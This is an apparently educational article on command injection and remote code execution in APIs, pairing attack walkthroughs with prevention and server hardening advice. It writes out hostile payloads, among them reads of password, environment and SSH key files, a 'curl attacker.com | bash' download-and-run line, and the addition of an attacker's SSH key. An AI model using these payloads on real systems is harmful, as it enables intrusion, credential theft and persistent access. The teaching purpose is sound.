API Security Command Injection

Command injection and remote code execution (RCE) are among the most severe vulnerabilities possible in an API. While SQL injection attacks a database, command injection attacks the operating system itself. A successful command injection attack gives an attacker the ability to run any command on the server — read files, install malware, create backdoors, or shut the system down entirely.

What Is Command Injection

Command injection occurs when an API takes user-supplied input and passes it to a system shell command without properly sanitizing it. The attacker appends additional commands to the input, and the server executes them.

Real-World Analogy:

Imagine asking an employee: "Please look up the file named [name]."
The employee opens a filing cabinet and retrieves the file.

Command injection: You say "Please look up the file named
'quarterly-report AND also shred everything in the HR cabinet'."

If the employee follows instructions literally without filtering,
they shred the HR cabinet. That is command injection.

How Command Injection Happens in APIs

Scenario: A network diagnostics API that pings a host

Intended use:
  POST /api/diagnostic/ping
  Body: { "host": "google.com" }
  
  Server executes: ping -c 1 google.com
  Returns ping result.

Malicious input:
  POST /api/diagnostic/ping
  Body: { "host": "google.com; cat /etc/passwd" }
  
  Server executes: ping -c 1 google.com; cat /etc/passwd
  
  The semicolon ends the ping command.
  The shell then executes: cat /etc/passwd
  Returns: ping result + full contents of /etc/passwd

Other command separator characters:
  ;    → Execute next command after this one
  &&   → Execute next command if this one succeeds
  ||   → Execute next command if this one fails
  |    → Pipe output to next command
  `    → Execute command in backticks and substitute output
  $()  → Subshell execution
  \n   → Newline, starts new command

API Features Commonly Vulnerable to Command Injection

Feature Type          │ Example Vulnerable Call
──────────────────────┼──────────────────────────────────────────
Ping / network check  │ ping -c 1 [user_input]
DNS lookup            │ nslookup [user_input]
File conversion       │ convert [input_file] [output_file]
File compression      │ zip output.zip [user_filename]
Image processing      │ ffmpeg -i [user_file] output.mp4
PDF generation        │ wkhtmltopdf [user_url] output.pdf
Git operations        │ git clone [user_repo_url]
Email sending         │ sendmail -t [user_email]
Log file viewing      │ tail -n 100 [user_logfile]
Archive extraction    │ tar -xzf [user_archive]

Notice the pattern: any feature where the server runs a shell command that incorporates user-controlled data is a potential command injection point.

What Attackers Do With Command Injection

Escalating Attack Steps:

Step 1 – Reconnaissance:
  { "host": "x; whoami" }
  → Response: "www-data"  ← Server is running as this OS user

Step 2 – System information:
  { "host": "x; uname -a" }
  → Response: "Linux server 5.15 #1 SMP x86_64 GNU/Linux"

Step 3 – Read sensitive files:
  { "host": "x; cat /etc/passwd" }
  { "host": "x; cat /var/www/app/.env" }   ← Grab API keys, DB passwords
  { "host": "x; cat /root/.ssh/id_rsa" }   ← Steal SSH private key

Step 4 – List and read application files:
  { "host": "x; find / -name '*.conf' 2>/dev/null" }
  { "host": "x; cat /var/www/app/config/database.yml" }

Step 5 – Establish persistence (backdoor):
  { "host": "x; curl http://attacker.com/malware | bash" }
  Downloads and executes malware from attacker's server.
  
  { "host": "x; echo 'ssh-rsa AAAA...attacker_key' >> ~/.ssh/authorized_keys" }
  Adds attacker's SSH key. Permanent remote access established.

Step 6 – Lateral movement:
  From the compromised server, attack internal services
  that are not accessible from the internet.

Remote Code Execution (RCE)

Remote Code Execution is a broader category that includes command injection but also covers other ways of executing attacker-controlled code on a server. RCE can happen through:

RCE Vector 1: Command Injection (covered above)

RCE Vector 2: Deserialization Vulnerabilities
  APIs that accept serialized objects (Java, PHP, Python pickle)
  and deserialize them without validation.
  
  Serialized data can contain code that executes during deserialization.
  
  Attack: Send a malicious serialized object to an API endpoint
  that accepts Java serialized data or PHP serialized objects.
  During deserialization, the server executes attacker's code.

RCE Vector 3: Template Injection (SSTI)
  Some APIs use template engines to generate responses.
  If user input is inserted into template code directly:
  
  Template: "Welcome, {{ username }}"
  
  Malicious username: "{{ 7*7 }}"
  Response: "Welcome, 49"   ← Template evaluated the expression
  
  More dangerous: "{{ ''.__class__.__mro__[1].__subclasses__() }}"
  → Can execute OS commands through Python template engine.

RCE Vector 4: File Upload + Execution
  API accepts file uploads and stores them in web-accessible directory.
  Attacker uploads "shell.php" containing PHP code.
  Attacker accesses: GET /uploads/shell.php?cmd=id
  Web server executes the PHP file.
  → Attacker has a web shell on the server.

Preventing Command Injection

Primary Prevention: Avoid Shell Commands Entirely

The safest approach is to never pass user input to shell commands. Use language-native libraries instead of shelling out to system commands.

Vulnerable (shell command with user input):
  Python:
  import subprocess
  host = request.json['host']
  result = subprocess.run(f"ping -c 1 {host}", shell=True, capture_output=True)

Safe (library-based, no shell):
  Python:
  import subprocess
  host = request.json['host']
  result = subprocess.run(["ping", "-c", "1", host],    ← List form, no shell
                          capture_output=True, timeout=10)
  # Each argument is separate — cannot inject command separators

Even safer (purpose-built library):
  Python for DNS lookup:
  import socket
  host = request.json['host']
  ip_address = socket.gethostbyname(host)   ← No shell, pure library

  Node.js for ping:
  Use 'net-ping' npm package instead of exec("ping " + host)

  PHP for image conversion:
  Use GD or Imagick PHP extension instead of exec("convert " + file)

Secondary Prevention: Strict Allowlisting of Input

If you must use a shell command, validate input with strict allowlisting first.

For a ping endpoint:
  Allowed input format: IPv4 address or hostname only
  IPv4 regex: ^(\d{1,3}\.){3}\d{1,3}$
  Hostname regex: ^[a-zA-Z0-9][a-zA-Z0-9\-\.]{0,253}[a-zA-Z0-9]$

  Any input not matching these exact patterns → Reject with 400 Bad Request
  No command separators (;|&`$\n) can pass this check.

For a file operation endpoint:
  Allowed: alphanumeric characters, underscores, hyphens, dot
  Forbidden: any shell special characters
  Use allowlist: ^[a-zA-Z0-9_\-\.]+$

Tertiary Prevention: Escape Shell Arguments

If user input must go into a shell command and cannot be avoided,
use proper shell escaping functions:

Python:
  import shlex
  safe_arg = shlex.quote(user_input)
  command = f"ping -c 1 {safe_arg}"
  subprocess.run(command, shell=True)
  
  shlex.quote("google.com; cat /etc/passwd")
  → Returns: "'google.com; cat /etc/passwd'"
  → Shell treats entire thing as one string, not two commands.

PHP:
  $safe_host = escapeshellarg($host);
  $output = shell_exec("ping -c 1 " . $safe_host);

Note: Escaping is weaker than input validation or avoiding shell entirely.
Treat it as a last resort, not a primary defense.

Preventing Deserialization RCE

Rules for safe deserialization:

Rule 1: Never deserialize untrusted data if avoidable
  Use JSON or XML with schema validation instead of native serialization.
  JSON is data-only — it cannot contain executable code.

Rule 2: Use serialization formats without code execution
  JSON, Protocol Buffers, MessagePack → Safe (data only)
  Java native serialization, PHP serialize(), Python pickle → Dangerous

Rule 3: If native deserialization is required:
  Validate the serialized data's digital signature before deserializing.
  Use deserialization allowlists: only permit specific known safe classes.
  Run deserialization in an isolated sandbox.

Rule 4: Keep deserialization libraries updated
  Many RCE vulnerabilities exist in old versions of serialization libraries.
  Log4Shell, Apache Commons Collections, FastJSON — all deserialization RCE.

Preventing Template Injection

Safe template usage:

Never insert user input directly into template code:
  WRONG: template.render("Hello " + username)   ← user controls template
  RIGHT: template.render("Hello {{ name }}", name=username)   ← user is data

Use auto-escaping template engines:
  Jinja2 (Python): Enable autoescape=True
  Handlebars (Node.js): Uses HTML escaping by default
  Thymeleaf (Java): Escapes by default

Sandbox template execution if users must create their own templates:
  Restrict available functions and variables in the template context.
  Remove access to system, os, subprocess modules.

Server Hardening to Limit RCE Impact

Principle of Least Privilege:
  API process should run as a low-privilege user.
  NOT as root, NOT as www-data with sudo access.
  
  If command injection occurs:
  Running as root → attacker has complete server control
  Running as api_user with minimal permissions → limited damage

Container / Sandbox Isolation:
  Run API in Docker containers with restricted capabilities.
  Container escape is harder than direct server access.
  Compromise of container does not immediately mean server compromise.

Read-Only Filesystem:
  Mount application files as read-only.
  Attacker cannot write web shells, modify config, or install malware.

Network Egress Restrictions:
  Restrict outbound network connections from API server.
  Attacker cannot easily download malware or exfiltrate data.
  Commands like "curl attacker.com | bash" fail if outbound HTTP is blocked.

Key Points

  • Command injection occurs when user input is passed directly to system shell commands. The semicolon, pipe, ampersand, and backtick characters are used to chain additional commands.
  • The safest prevention is to avoid shell commands entirely and use native language libraries for functionality like DNS lookup, image processing, and network checks.
  • If shell commands are unavoidable, use strict allowlist validation on inputs and pass arguments as arrays (not shell strings) to subprocess functions.
  • RCE can also occur through insecure deserialization, server-side template injection, and file upload with execution. Each requires specific countermeasures.
  • Server hardening — running as a low-privilege user, using containers, restricting outbound network access — limits the damage when injection occurs.

Leave a Comment